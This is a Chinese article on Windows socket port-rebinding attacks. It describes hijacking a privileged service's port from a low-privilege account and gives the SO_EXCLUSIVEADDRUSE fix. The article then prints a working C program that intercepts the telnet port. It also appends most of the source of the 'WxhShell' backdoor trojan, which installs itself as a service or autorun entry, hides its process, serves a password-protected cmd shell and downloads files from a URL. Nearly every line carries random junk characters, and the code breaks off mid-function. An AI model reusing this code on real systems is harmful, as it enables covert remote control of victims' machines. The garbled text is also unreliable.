在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_BHEK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e]-%P(}Z oUx%ra{ saddr.sin_family = AF_INET;
0Ait7` M*2
Nq=3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(Fs{~4T J+r:7NvZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%3@-.= tZan1C%p> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<BjrW]pM ][`% vj9r 这意味着什么?意味着可以进行如下的攻击:
E_T!|Q. @^Yr=d ba 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a9y+FCA t$g@+1p4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3 @%XR8ss <d~si^*\ch 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?tx."MZ j9~lf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]Gf`nJDV '^%k TNn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,)ZI&BL5 r1/9BTPKdJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
JsHD3 frT<9$QUL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}No8t o T(
fcE #include
~|( eh9 #include
FwUgMR*xq #include
`T3B #include
vp(ow]Q DWORD WINAPI ClientThread(LPVOID lpParam);
Ticx]_+~T int main()
bW^C30m {
{Bz E WORD wVersionRequested;
wEC,Mbn DWORD ret;
b)@rp WSADATA wsaData;
uF+0nv+ BOOL val;
_
o.j({S SOCKADDR_IN saddr;
L :Ldk SOCKADDR_IN scaddr;
4d\V=_);r int err;
Ui.S)\B SOCKET s;
DB3qf>@? SOCKET sc;
nM|F
MK^ int caddsize;
VhN 6
oI HANDLE mt;
EO%"[k DWORD tid;
?OS0. wVersionRequested = MAKEWORD( 2, 2 );
a'(B}B=h
err = WSAStartup( wVersionRequested, &wsaData );
Vrs?VA`v$ if ( err != 0 ) {
qyP={E9A printf("error!WSAStartup failed!\n");
{r'+icvLX return -1;
X}H?*'- }
U=PTn(2 saddr.sin_family = AF_INET;
^@^K
<SVc `T{'ufI4B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
hlmeT9v{ G`RQl@W>)( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
><I{R|bC saddr.sin_port = htons(23);
lBGYZ-- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)6(|A$~C+ {
3,- [lG@o printf("error!socket failed!\n");
>:HmIW0PLe return -1;
[Qcht,\^v }
EB VG@ val = TRUE;
f+1@mGt //SO_REUSEADDR选项就是可以实现端口重绑定的
?AK`M #M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J4u>77I {
[0vqm:P printf("error!setsockopt failed!\n");
IKV!0-={!z return -1;
0o!mlaU# }
nJ h)iQu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3S"
/l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(eSsx/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
")<5VtV /36gf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%j.n^7i]^: {
I-#7Oq:Np ret=GetLastError();
GSW%~9WBa printf("error!bind failed!\n");
pQ>|dH+. return -1;
OX%#8Lx }
U7Oa
13Qz listen(s,2);
2T(7V[C%9 while(1)
fbD,\ rjT {
~r~YR= caddsize = sizeof(scaddr);
p6!5}dD( //接受连接请求
Y&H<8ez sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
mm;sf if(sc!=INVALID_SOCKET)
@S:T8
*~} {
d0-4KN2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'$), i>6gJ if(mt==NULL)
RLZfXXMn {
f;AI4:#I printf("Thread Creat Failed!\n");
Jy\0y[f* break;
6%}`!_N<Mc }
%-a;HGbZn }
|1zfXG,R CloseHandle(mt);
FPH2dN }
c g)>A closesocket(s);
9p{n7. WSACleanup();
z%#-2&i return 0;
L^*f$Balz }
,J,Rup">h DWORD WINAPI ClientThread(LPVOID lpParam)
No)0|C8: {
at4JLbk SOCKET ss = (SOCKET)lpParam;
D, Gv nfY SOCKET sc;
h3-^RE5\`S unsigned char buf[4096];
-+Ot'^ SOCKADDR_IN saddr;
tDRo)z long num;
d%. |MAE DWORD val;
E- [Eg DWORD ret;
A*~G[KC3( //如果是隐藏端口应用的话,可以在此处加一些判断
n_Qua|R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
X</Sl>[8 saddr.sin_family = AF_INET;
ul#y'iY] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+80bG(I_ saddr.sin_port = htons(23);
Y[]I!Bc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:)i,K>y3i {
NU3TXO printf("error!socket failed!\n");
z~3GgR"1d return -1;
`+rwx }
5:jme$BI val = 100;
Arm'0)B> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j#~~_VA~ {
rZ|p{ym ret = GetLastError();
@6|<c return -1;
9cHo~F|ur }
Rk7F;2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.{\eco {
qdn_ZE ret = GetLastError();
9!(%Vf> return -1;
}dpTR9j= }
g'b|[ q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
K4jHha {
&a=78Z printf("error!socket connect failed!\n");
R?{xs closesocket(sc);
kmX9)TMVO closesocket(ss);
2]Il:>n, return -1;
tcT=a@ }
'(rD8 pc while(1)
r{^43g? {
CgmAxcK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
D =mmBo //如果是嗅探内容的话,可以再此处进行内容分析和记录
pZ}B/j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
n1{[CCee@ num = recv(ss,buf,4096,0);
i@.Tv.NZ if(num>0)
8toOdh send(sc,buf,num,0);
sv?Fx;d else if(num==0)
HE-5e):
k break;
Ak,JPzT num = recv(sc,buf,4096,0);
a#"orc j if(num>0)
'~Cn+xf4] send(ss,buf,num,0);
)v_v 7 ~H& else if(num==0)
,}&TZkN{- break;
v@tEHRadz }
gT0yI;g] closesocket(ss);
NXFi* closesocket(sc);
%~PcJhz return 0 ;
'/NpmNY:L }
w2UEU5% *U,JQ NS2vA>n8R ==========================================================
xYCJO(& h?p_jI 下边附上一个代码,,WXhSHELL
E&
i (T2c &>C+5`bg ==========================================================
\c4jGJ vhbHt_!u& #include "stdafx.h"
Qy0w'L/@ n|)((W #include <stdio.h>
8 5X}CCQ #include <string.h>
_wK.n.,S~ #include <windows.h>
Rlk3AWl2u #include <winsock2.h>
#WSqh + #include <winsvc.h>
l;0([_>*j #include <urlmon.h>
PXYLLX\3 yy=hCjQ) #pragma comment (lib, "Ws2_32.lib")
EN\cwa#FU #pragma comment (lib, "urlmon.lib")
0 (wu M,_
$s, #define MAX_USER 100 // 最大客户端连接数
gAWi& #define BUF_SOCK 200 // sock buffer
3?a`@C&x #define KEY_BUFF 255 // 输入 buffer
%S;AM\o4 Au'y(KB #define REBOOT 0 // 重启
9GH5 #define SHUTDOWN 1 // 关机
Sp5:R75vI dEtjcId #define DEF_PORT 5000 // 监听端口
} 7
o! 'wk,t^) #define REG_LEN 16 // 注册表键长度
Cjr]l! #define SVC_LEN 80 // NT服务名长度
KhfADqji| XQ}J4J~Vm // 从dll定义API
(Of6Ij? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`^SRg_rH=` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
g~y0,0'j1\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HK/WO jr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!2KQi=Ng y|ZL<L // wxhshell配置信息
9)1Ye struct WSCFG {
sh_;98^ int ws_port; // 监听端口
lf7bx}P* char ws_passstr[REG_LEN]; // 口令
AhN3~/u%7 int ws_autoins; // 安装标记, 1=yes 0=no
>;I8w( char ws_regname[REG_LEN]; // 注册表键名
'-%1ILK$3r char ws_svcname[REG_LEN]; // 服务名
}4Yz P 4 char ws_svcdisp[SVC_LEN]; // 服务显示名
6P{^j char ws_svcdesc[SVC_LEN]; // 服务描述信息
m}wn+R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gUru=p int ws_downexe; // 下载执行标记, 1=yes 0=no
nU>P%|loXx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7?=^0?a char ws_filenam[SVC_LEN]; // 下载后保存的文件名
":udo VS! X!Z)V)@J8 };
JPqd}:u3 o4kLgY !Q // default Wxhshell configuration
R|C` struct WSCFG wscfg={DEF_PORT,
]!/U9"_e"B "xuhuanlingzhe",
9Y,JYc# 1,
$CE dJ+0z "Wxhshell",
@vlP)" "Wxhshell",
y8~OkdlN# "WxhShell Service",
Xk4wU$1F "Wrsky Windows CmdShell Service",
O% T?+1E "Please Input Your Password: ",
VC88re` 1,
#-'`Ybw "
http://www.wrsky.com/wxhshell.exe",
B(;MI` "Wxhshell.exe"
vdq=F|& };
AabQ)23R2 TWp w/osW // 消息定义模块
jhm3:;Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^w^e~0
S char *msg_ws_prompt="\n\r? for help\n\r#>";
d%8n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<YU?1y?V char *msg_ws_ext="\n\rExit.";
B"&-) ( char *msg_ws_end="\n\rQuit.";
`yv?PlKL char *msg_ws_boot="\n\rReboot...";
a* cWj}u char *msg_ws_poff="\n\rShutdown...";
0DicrnH8 char *msg_ws_down="\n\rSave to ";
xvOz*vM? r
W`7<3 char *msg_ws_err="\n\rErr!";
64?HqO
6( char *msg_ws_ok="\n\rOK!";
i&:SWH= 4^W!,@W char ExeFile[MAX_PATH];
k77IXT_7u int nUser = 0;
wG,"X'1 HANDLE handles[MAX_USER];
r/sSkF F int OsIsNt;
PGP#$JC 0 %~~IT}U SERVICE_STATUS serviceStatus;
1cK'B<5">] SERVICE_STATUS_HANDLE hServiceStatusHandle;
Q-oDmjU lJdBUoO // 函数声明
Z<.&fZ^jS int Install(void);
,->K)Rs ; int Uninstall(void);
vS8&,wJ! int DownloadFile(char *sURL, SOCKET wsh);
zQyI4RHG[ int Boot(int flag);
b-<0\@`Z# void HideProc(void);
Q7aPW\- int GetOsVer(void);
"/zgh int Wxhshell(SOCKET wsl);
/i,n75/y? void TalkWithClient(void *cs);
R&Lqaek&W int CmdShell(SOCKET sock);
, MXU]{ int StartFromService(void);
j,j|'7J% int StartWxhshell(LPSTR lpCmdLine);
eNd&47lJ @}4aF| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M^Sa{S*? VOID WINAPI NTServiceHandler( DWORD fdwControl );
L?h?LZnq [Qnf]n\FJ // 数据结构和表定义
Vc9rc} SERVICE_TABLE_ENTRY DispatchTable[] =
~$u9 {
$2a"Ec!7 {wscfg.ws_svcname, NTServiceMain},
+.!D>U$)} {NULL, NULL}
*S}@DoXS };
LI%dJ*-V e`n ZiM> // 自我安装
/JS_gr@DK int Install(void)
ii?T:T@ {
Rn?JMM] char svExeFile[MAX_PATH];
y >=Y HKEY key;
E]'
f&0s strcpy(svExeFile,ExeFile);
1d< b\P0 iAz0 A // 如果是win9x系统,修改注册表设为自启动
>`AK'K8{M if(!OsIsNt) {
qx ki if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a^%)6E.[, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r-y;"h' RegCloseKey(key);
]Kt@F0U<o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E:K4k < RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PZ|I3z RegCloseKey(key);
Eiu/p&ct return 0;
2K9X (th1 }
!'N@ZZ }
m54>} }
%>&ex0j] else {
D"pT?\kO z6R|1L 1 // 如果是NT以上系统,安装为系统服务
#NFB=oJI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
94w)Yln if (schSCManager!=0)
Z^> 4qf,k {
D3C 7f' SC_HANDLE schService = CreateService
hP)Zm%@0f (
ID_4M_G schSCManager,
F%6wdM W wscfg.ws_svcname,
DC h
!Z{I wscfg.ws_svcdisp,
6bPxEILm SERVICE_ALL_ACCESS,
UDJjw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ye.6tlW SERVICE_AUTO_START,
o ks;G([ SERVICE_ERROR_NORMAL,
#%[;vK svExeFile,
Fl_}Auj{&( NULL,
fn,n'E] NULL,
\x-2qlZ NULL,
a<&K^M& NULL,
<G}Lc NULL
KVOV<uDCj );
A^,E~Z!x if (schService!=0)
jc"sPr v5 {
(}39f CloseServiceHandle(schService);
4J5 zSTw CloseServiceHandle(schSCManager);
o4" [{LyT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1L!;lP2 strcat(svExeFile,wscfg.ws_svcname);
!MKecRG_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)J[m>tyY5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z9DfwWI2nu RegCloseKey(key);
N)"8CvQL return 0;
[_JdV(]$ }
vi}16V84l }
*<sc[..) CloseServiceHandle(schSCManager);
~pZ0B#K
J }
Yk|6?e{+) }
+g
g_C'" +bE{g@%@+ return 1;
DU\ytD`u }
c0zcR)=mL (c[u_~ ; // 自我卸载
TX=894{nGh int Uninstall(void)
lMFo)4&P {
K? o p3}f? HKEY key;
|aP`hVm >8"(go+02
if(!OsIsNt) {
FygNWI ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>pp/4Ia! RegDeleteValue(key,wscfg.ws_regname);
ycBgr,Ynu< RegCloseKey(key);
3JGrJ!x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D\_nqx9O RegDeleteValue(key,wscfg.ws_regname);
3WP\MM RegCloseKey(key);
RFRXOyGz$ return 0;
?xqS#^Z }
$l*?Ce: }
d` ttWWPw }
X|a{Z*y;r* else {
q~}oU5 7dY_b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6B8!}6Ojc if (schSCManager!=0)
.T3N"}7[ {
)vO"S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5@xR`g- if (schService!=0)
oT\K P {
Ga5s9wC if(DeleteService(schService)!=0) {
cjL)M=pIS CloseServiceHandle(schService);
a_c(7bQ CloseServiceHandle(schSCManager);
pL,XHR@Iv return 0;
NWn*_@7; }
1Of(O! CloseServiceHandle(schService);
=H)]HxEEM }
d'96$e o~ CloseServiceHandle(schSCManager);
/''=V.-N }
Led\S;pl }
'!^7 *@z 2L&c91=wE return 1;
lW?}Ts~' }
q7lC}'2fu _G'ki.[S7 // 从指定url下载文件
82@^vX int DownloadFile(char *sURL, SOCKET wsh)
?7Cm+J {
>>T7;[h HRESULT hr;
jVnTpa!A char seps[]= "/";
PV#h_X<l% char *token;
B6dU6" char *file;
!-`L1D_hy char myURL[MAX_PATH];
%w^*7Oi char myFILE[MAX_PATH];
A{s-g>s t[TM\j0jW strcpy(myURL,sURL);
iQ" LIeD token=strtok(myURL,seps);
3g4=as4w while(token!=NULL)
F2
B(PGa7 {
h|]cZMGo file=token;
OpaRQ= token=strtok(NULL,seps);
:j`f%Vg~x }
h"ZIh= j@ `R2Iw
I& GetCurrentDirectory(MAX_PATH,myFILE);
?+EAp"{j strcat(myFILE, "\\");
w=XIpWl strcat(myFILE, file);
=
zmxki send(wsh,myFILE,strlen(myFILE),0);
ta{24{?M\ send(wsh,"...",3,0);
eOb--@~8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rY(7IX if(hr==S_OK)
~T;:Tg* return 0;
PR"x&JG@ else
fof}I:vO return 1;
Y#c439 & MtL<)?HQ }
%j^QK>% @K!JE w\ // 系统电源模块
=u}~\ 'd int Boot(int flag)
+A8q.-N
G {
.T7CMkYt HANDLE hToken;
zd%f5L(' TOKEN_PRIVILEGES tkp;
4}DFCF%B _OG9wi(Fpx if(OsIsNt) {
)yyH_Ax2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
[lML^CYQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
vQCb?+X& tkp.PrivilegeCount = 1;
I8!>7`L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u)Kiwa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6MM\nIU)/ if(flag==REBOOT) {
BR|0uJ.M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d_we?DZ| return 0;
a_!H_J }
N
&
b3cV else {
Tl yyJ{~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?<jWEz= return 0;
s3sRMB2 }
60|PVsmDm }
.<?7c!ho else {
K9ia|2f if(flag==REBOOT) {
m
Z
+dr[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
EHq;eF return 0;
HXT"&c| }
-6J <{1V else {
MUbKlX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
FiMM-c| return 0;
k}:;`ST }
:=*G7ZyW$
}
}< '6FxR 8SRUqe[H] return 1;
,ASNa^7/> }
Fk49~z cEa8l~GC< // win9x进程隐藏模块
Jf4`
2KN\ void HideProc(void)
!4Zy$69R {
_w\i ~To! *Zg=cI@)( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
m19\H if ( hKernel != NULL )
oH17!$Fly {
2p9^ = pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y7+c/co ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A5F(- FreeLibrary(hKernel);
.WKJ37od }
9nVb$pf e# /[lEZ['^ return;
%Qz<Lk">. }
"7EK{6&jQ ^ U,iDK_ // 获取操作系统版本
@8{8|P int GetOsVer(void)
]h1.1@ >xc {
W*s=No3C OSVERSIONINFO winfo;
P !f{U;B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\mLEwNhRY GetVersionEx(&winfo);
`W}pAmhj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
w_>\Yd [ return 1;
pf'DbY! else
##''d||u return 0;
8y5"X"U }
#y: F3$c |BM#r fQ // 客户端句柄模块
PeIi@0vA int Wxhshell(SOCKET wsl)
Lk]|;F-2i {
9h+Hd&= SOCKET wsh;
,j>FCj> struct sockaddr_in client;
@7"n X DWORD myID;
wz3X;1l`c Jc?zX8>Ae: while(nUser<MAX_USER)
G~C-tAB {
5\zR>Tg". int nSize=sizeof(client);
(M|DNDM'd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q?T+^J if(wsh==INVALID_SOCKET) return 1;
G*EF_N.G0 M/Z$?nd_H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
TU)Pi.Aa if(handles[nUser]==0)
h/A\QW8Sd closesocket(wsh);
;]xc}4@=mg else
]:@{tX7c nUser++;
DjaXJ?' }
pjS##pgVq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n;.
M5}O Q3& ?28 return 0;
6bs-&Vf }
lIEZ=CEmY ms Cz\8Xd // 关闭 socket
*
G*VY#L void CloseIt(SOCKET wsh)
>QJDO ]~V {
H0tu3Pqk closesocket(wsh);
a ub$4n!C9 nUser--;
1P*GIt2L ExitThread(0);
4y}z+4 }
[ <d~b*/ =e
1Q>~ // 客户端请求句柄
6 Q7MAP M void TalkWithClient(void *cs)
z-K};l9y {
`L$Av9X\ QZ(O2!Mg SOCKET wsh=(SOCKET)cs;
~sn3_6{ char pwd[SVC_LEN];
ORKJy)*" char cmd[KEY_BUFF];
9$U>St char chr[1];
.<%q9Jy# int i,j;
7hx^U90K 6'mZM=d while (nUser < MAX_USER) {
~t2"L|i U) xeta+ if(wscfg.ws_passstr) {
%!-t7K^mFq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k>MXOUaW. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jqvw<+# //ZeroMemory(pwd,KEY_BUFF);
~}p k^FA i=0;
E`HA0/ while(i<SVC_LEN) {
c"knzB vy /|NyO+Io // 设置超时
c99|+i50 fd_set FdRead;
c]VK%zl struct timeval TimeOut;
Na]Z%#~ FD_ZERO(&FdRead);
! 1?u0 FD_SET(wsh,&FdRead);
Y
?~n6< TimeOut.tv_sec=8;
D`Vb3aNB=L TimeOut.tv_usec=0;
>cjxu9Vr1K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
n::i$ZUdK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=;n>#< cEp/qzAiD% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)40YA\V pwd
=chr[0]; IeChz d
if(chr[0]==0xd || chr[0]==0xa) { ,1|=_M31
pwd=0; i)cG
break; n&]J-^Tx
} 3Jda:
i++; &q4~WRnzJk
} H/W&a2R^P
.AX%6+o
// 如果是非法用户,关闭 socket 8KP
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); | 9 *$6Y
} yTbtS-
K; hP0J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }Dcpe M?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OmK0-fa/
O*/Utl
while(1) { 2y$DTMu
_u_|U
ZeroMemory(cmd,KEY_BUFF); Z$Ps_Ik
$hk_v~zM
// 自动支持客户端 telnet标准 >>R)?24,<
j=0; ;1,#rTs
while(j<KEY_BUFF) { Y8s-cc(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @:'E9J06
cmd[j]=chr[0]; 26_PFHQu4
if(chr[0]==0xa || chr[0]==0xd) { ;$!0pxL)s
cmd[j]=0; MD1d
break; <;+QK=f
} P:'y}a-
j++; <;b
} 7~MWp4.
ByWad@-6i
// 下载文件 tx3p,
X
if(strstr(cmd,"http://")) { r!>=G%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n#GHa>p.-
if(DownloadFile(cmd,wsh)) _fj@40i M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Um/ g&k
else
JZyEyN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D 5Z7?Y
} r 3T #Nv
else { fB; o3!y
}LIf]YK
switch(cmd[0]) { 9%P$e=Ui#
'+^XL6$L
// 帮助 8fWnKWbbjw
case '?': { n
n8N 9w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L<<v
break; N9Fu
} ER]C;DYX
// 安装 ocp3J R_0
case 'i': { |@>Zc5MY$
if(Install()) M@.?l=1X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :e_yOT}}
else lQ.3_{"s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /KJWo0zo
break; Tc;BE
} eLN(NSPoS
// 卸载 @yPI$"Ma
case 'r': { V3pn@'pr
if(Uninstall()) =8qhK=&]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mr K?,7*Xi
else {\!@k\__
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EX3;|z@5;
break; 'aZAWY d
} 97!VH>MX
// 显示 wxhshell 所在路径 5i3nz=~o
case 'p': { 9EZh~tdV[
char svExeFile[MAX_PATH]; 6ozBU^n
strcpy(svExeFile,"\n\r");
w$I$xup
strcat(svExeFile,ExeFile); ~Oj-W6-+&,
send(wsh,svExeFile,strlen(svExeFile),0); +qF,XJ2
break; 9VTE?,
} 3o__tU)B
// 重启 n-lDE}K9%B
case 'b': { $J:~jY/J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w\.z-6G
if(Boot(REBOOT)) <J1$s_^`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3at(+4
else { vi.q]$ohbV
closesocket(wsh); }5;3c %
ExitThread(0); J&b&*3
} kObgoMT<[
break; b9Ix*!Y
} L@5g#mSl
// 关机 TH}+'m
case 'd': { O~g0 R6M6e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &_c5C
if(Boot(SHUTDOWN)) {7q +3f <
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pe@/tO&I
else { 3PZwz^oRh9
closesocket(wsh); /`VtW$9-
ExitThread(0); .mS'c#~5Y
} #T)gKp
break; 8|#p D4e
} !;C *Wsp}
// 获取shell 2KmPZ&r
case 's': { o[eIwGxZ
CmdShell(wsh); j]_"MMwk$<
closesocket(wsh); V$ss[fX
ExitThread(0); b<rJ@1qtJ
break; _52BIrAO2
} W%7m3/d
// 退出 uO`YA]
case 'x': { h|'T'l&z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !tD,phca~
CloseIt(wsh); {YgB?kt5
break; }h)[>I(
} t[L'}ig!q
// 离开 wq&TU'O
case 'q': { KEj-y+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (PCv4:`g
closesocket(wsh); vN4g#,<
WSACleanup(); s*j0uAq)up
exit(1); M%2F7 FY
break; .@ElfPP(L
} #G ZGk?
} ]LhNP}c
} A,qWg0A]nt
`#~HCl
// 提示信息 0SziTM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G" Fd]'
} =#<TE~n2(
} #zcnc$x\
[0e}%!%M
return; VXAgp6
} zZ=.riK
:xT=uE.I
// shell模块句柄 Ls^$E
int CmdShell(SOCKET sock) 9m
fYB
{ e$^ O_e
STARTUPINFO si; Ci
? +Sl
ZeroMemory(&si,sizeof(si)); ^CwzAB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o5FBqt
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; obE_`u l#
PROCESS_INFORMATION ProcessInfo; 93d ht
char cmdline[]="cmd"; ^\<1Y''
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xe6 2gaT
return 0; n300kpv
} nNFZ77lg
tXTa>Q
// 自身启动模式 )LwB
int StartFromService(void) Mc6?]wDB]
{ AjZ@hid
typedef struct JtU/%s
{ ^kMgjS}R
DWORD ExitStatus; F+S;u=CKx
DWORD PebBaseAddress; i- E~ZfJ
DWORD AffinityMask; 9c1n
DWORD BasePriority; DP NUm<>
